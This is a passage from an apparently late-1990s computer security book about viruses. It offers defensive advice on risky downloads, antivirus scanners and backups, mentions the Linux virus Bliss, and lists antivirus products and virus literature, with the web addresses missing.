Virus technology continues to increase in complexity, largely due to the number of new viruses that are discovered. The likelihood of contracting a virus on the Internet is slim, but not impossible. It depends on where you go. If you are an individual and you frequent the back alleys of the Internet, you should exercise caution in downloading any file (digitally signed or otherwise). Usenet newsgroups are places where viruses might be found, especially in those newsgroups where hot or restricted material is trafficked. Examples of such material include warez (pirated software) or pornography. I would strongly caution against downloading any zipped or archived file from groups trafficking this type of material. Similarly, newsgroups that traffic cracking utilities are suspect.

If you are a system administrator, I have different advice. First, it is true that the majority of viruses are written for the IBM-compatible platforms (specifically, platforms on which users run DOS, Windows, Windows NT, and Windows 95). If your network is composed of machines running these operating systems and you offer your users access to the Internet, you have a problem.

There is no reliable way to restrict the types of files that your users download. You can institute policies that forbid all downloads, and your users will probably still download a file here and a file there. Human nature is just that way. Therefore, I would recommend that you run memory-resident virus scanners on all machines in the domain, 24 hours a day. (At the end of this section, you will find some resources for obtaining such products.)

To learn more about how viruses work, you should spend some time at a virus database on the Internet. There are several such databases that provide exhaustive information on known viruses. The most comprehensive and useful site I have ever found is at the Department of Energy.

Cross Reference: Find the Department of Energy site online at

The list is presented in alphabetical order, but can be traversed by searching for platform. You will instantly see that most viruses were written for the Microsoft platform, and the majority of those for DOS. What you will not see are any known in-the-wild viruses for UNIX. However, by the time this book is printed, such information may be available. There is talk on the Internet of a virus for the Linux platform called Bliss.

Reports on Bliss at the time of this writing are sketchy, but it appears that Bliss is a virus. There is some argument on the Internet as to whether Bliss qualifies more as a trojan, but the majority of reports suggest otherwise. Furthermore, it is reported that it compiles cleanly on other UNIX platforms.

Cross Reference: The only known system tool that checks for Bliss infection was written by Alfred Huger and is located online at

It is extremely unlikely that your box would be infected. The author of the program took steps to prevent all but experienced programmers from unpacking and using this virus. However, if you should discover that your machine is infected with this new virus, you should immediately submit a report to Usenet and several bug lists, describing what, if any, damage has been done to your system.

I would like to explain why the majority of viruses are written for personal computer platforms and not for UNIX, for example. In UNIX (and also in Windows NT), great control can be exercised over who has access to files. Restrictions can be placed on a file so that user A can access the file but user B cannot. Because of this phenomenon (called access control), viruses would be unable to travel very far in such an environment. They would not, for example, be able to cause a systemic infection.

In any event, viruses do represent a risk on the Internet. That risk is obviously more relevant to those running DOS or any variant of Windows. Following are some tools to keep your system safe from virus attack.

Virus Utilities

Following is a list of well-known and reliable virus-detection utilities. I have experience using all the entries in this list, and can recommend every one. However, I should stress that just because a utility is absent from this list does not mean that it isn't good. Hundreds of virus-detection utilities are available on the Internet. Most of them employ similar techniques of detection.

VirusScan for Windows 95

VirusScan for Windows 95 by McAfee can be found online at

Thunderbyte Anti-Virus for Windows 95

Thunderbyte Anti-Virus for Windows 95 can be found online at

Norton Anti-Virus for DOS, Windows 95, and Windows NT

Norton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found online at


ViruSafe by Eliashim can be found online at

PC-Cillin II

PC-Cillin II by Check-It can be found online at

FindVirus for DOS v. 7.68

Dr. Solomon's FindVirus for DOS version 7.68 can be found online at

Sweep for Windows 95 and Windows NT

Sweep for Windows 95 and Windows NT by Sophos can be found online at

Iris Antivirus Plus

Iris Antivirus Plus by Iris Software can be found online at

LANDesk Virus Protect v4.0 for NetWare and Windows NT

LANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found online at

Norman Virus Control

Norman Virus Control by Norman Data Defense Systems can be found online at

F-PROT Professional Anti-Virus Toolkit

F-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at

The Integrity Master

The Integrity Master by Stiller Research can be found online at

There are quite literally hundreds of virus scanners and utilities. I have mentioned these primarily because they are easily available on the Internet and because they are updated frequently. This is an important point: Viruses are found each day, all over the world. Because virus authors continue to churn out new works (and these often implement new techniques, including stealth), it is imperative that you get the very latest tools.

Conversely, perhaps you have some old machines lying around that run early versions of this or that operating system. On such systems, you may not be able to run Windows 95 or Windows NT software. To present you with a wide range of choices, I suggest that you go to one of the following sites, each of which has many, many virus utilities:

The Simtel.Net MS-DOS Collection at the OAK Repository

The Simtel.Net MS-DOS collection at the OAK repository offers virus detection and removal programs. This site is located online at

The Simtel.Net Windows 3.x Collection at the OAK Repository

The Simtel.Net Windows 3.x collection at the OAK repository offers virus detection and removal programs. This site is located online at


Destructive devices are of significant concern not only to those running Internet information servers, but to all users. Many people find it hard to fathom why anyone would create such programs, especially because data is now so heavily relied on. This is a question that only virus writers can answer. In any event, every user (particularly those who use the Internet) should obtain a basic education in destructive devices. If you are now using the Internet, it is very likely that you will eventually encounter such a device. For this reason, you must observe one of the most important commandments of computer use: back up frequently. If you fail to observe this, you may later suffer serious consequences.


The following is a list of articles, books, and Web pages related to the subject of computer viruses. Some of the books are a bit dated, but are now considered standards in the field.

Robert Slade's Guide to Computer Viruses : How to Avoid Them, How to Get Rid of Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-2.

Virus: Detection and Elimination. Rune Skardhamar. AP Professional. 1996. ISBN 0-12-647690-X.

The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995.

1996 Computer Virus Prevalence Survey. NCSA National Computer Security Association. (Very good.)

The Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold Computer Publishing. ISBN 0-442-28532-9. 1988.

Computer Viruses and Related Threats: a Management Guide. National Technical Information Service (NTIS). PB90-115601CAU.

A Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings of the IASTED International Symposium Applied Informatics. pp. 176-179. Acta Press. 1987.

PC Security and Virus Protection: the Ongoing War Against Information Sabotage. Pamela Kane. M&T Books. ISBN 1-55851-390-6. 1994.

How Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve R. White. Technical Report RC 17822 No78319. Watson. 1992.

A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen. Series title: Wiley Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2

A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN 0-387-19610-2; 3-540-19610-2. 1992.

The Virus Creation Labs: A Journey into the Underground. George Smith. American Eagle Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine, February 1996.

Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus Bulletin. Abingdon Science Park, England.

Computer Virus Help Desk. Courtesy of the Computer Virus Research Center. Indianapolis, Indiana.

European Institute for Computer Anti-Virus Research.

Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University of Hamburg.

A Biologically Inspired Immune System for Computers. Jeffrey O. Kephart. High Integrity Computing Laboratory, IBM. Thomas J. Watson Research Center.

Dr. Solomon's Virus Encyclopedia.

An Overview of Computer Viruses in a Research Environment. Matt Bishop. Washington, D.C.: National Aeronautics and Space Administration. Springfield, Va. Distributor: National Technical Information Service. 1991.

Internet Computer Virus and the Vulnerability of National Telecommunications Networks to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-10, Washington, D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director, U. S. Government Information before the Subcommittee on Telecommunications and Finance, Committee on Energy and Commerce, House of Representatives.

A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk and L. E. Bassham. National Institute of Standards and Technology Computer Security Division.

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